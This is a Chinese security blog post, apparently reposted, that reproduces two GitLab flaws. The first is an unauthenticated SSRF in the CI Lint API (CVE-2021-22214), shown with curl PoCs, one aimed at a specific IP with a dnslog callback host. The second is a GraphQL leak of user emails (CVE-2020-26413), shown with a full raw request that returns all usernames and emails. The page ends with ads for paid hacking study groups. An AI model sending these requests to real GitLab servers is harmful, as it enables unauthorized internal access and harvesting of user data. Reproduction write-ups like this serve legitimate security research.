Py学习  »  Git

追洞计划 | Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

Ms08067安全实验室 • 2 年前 • 808 次点击  

文章来源|MS08067 Web安全知识星球

本文作者:Taoing(Web安全攻防合伙人)


GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。

一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

CVE-2021-22214

GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

二、漏洞影响

  app="GitLab"

影响版本:从 10.5 开始的所有版本

安全版本:官方当前最新的 13.12.2, 13.11.5 和 13.10.5

三、POC:

curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'

四、漏洞复现:

1、环境搭建

搭建环境介绍:CentOS7.6

1)首先按官网提示先安装依赖,然后执行下面命令添加yum源,选择gitlab-ce社区版

curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

2)更新本地yum缓存

sudo yum makecache

3)获取更新源中可安装所有的gitlab版本

yum list gitlab-ce --showduplicates|sort -r

使用yum安装指定版本,例如13.12.1

yum install gitlab-ce-13.12.1-ce.0.el7

使用命令gitlab-ctl reconfigure即可默认配置安装gitlab。

默认配置安装gitlab:端口默认80

gitlab-ctl reconfigure


2、漏洞复现

1)dnslog

curl -s --show-error -H 'Content-Type: application/json' http://47.243.37.71/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://rkv4ov.dnslog.cn/api/v1/targets/?test.yml"}'




GitLab_Graphql邮箱信息泄露漏洞(CVE-2020-26413)


一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名


二、影响范围

GitLab 13.4 – 13.6.2

title="GitLab"


三、漏洞复现


访问 URL

http://xxx.xxx.xxx.xxx/-//graphql-explorer

Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

发包调用了 /api/graphql 接口发送数据

完整数据包为:

POST //api/graphql HTTP/1.1
Host: 10.1.2.33:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 220

{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}





618优惠活动还没有结束!


福利一:

购全部6个星球,享6.18 惊爆价:1699元(原价2458元)(追加10名)


更送3本作者签名书五选三
《Web安全攻防:渗透测试实战指南》(89元)
《内网安全攻防:渗透测试实战指南》(99元)

《Python安全攻防:渗透测试实指南》(99元)

《Kali Linux2 渗透实践指南(第2版)》(89元)
《Java代码审计(入门篇)》           (118元)

     

 


注意需要购买的同学请添加徐哥微信!




福利二:

本次活动,单个星球我们只对外发放50张优惠券,最高立减90元

(6.20号新增30张Web星球优惠券)

大部分星球价格365元,618惊爆价:299元




一件衬衫的价格,让你学会一门渗透技术,超级划算了:

加入须知:

  • 加入星球后,下载知识星球App,微信登陆即可进入;

  • 在星球置顶帖,添加管理员微信,邀请进内部微信群;




目前有4000多位同学在知识星球和我们一起学习进步,我们等着你入伙!


想白嫖的同学可以看这里哦!


扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 


来和4000+位同学一起加入星球学习吧!



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/116019
 
808 次点击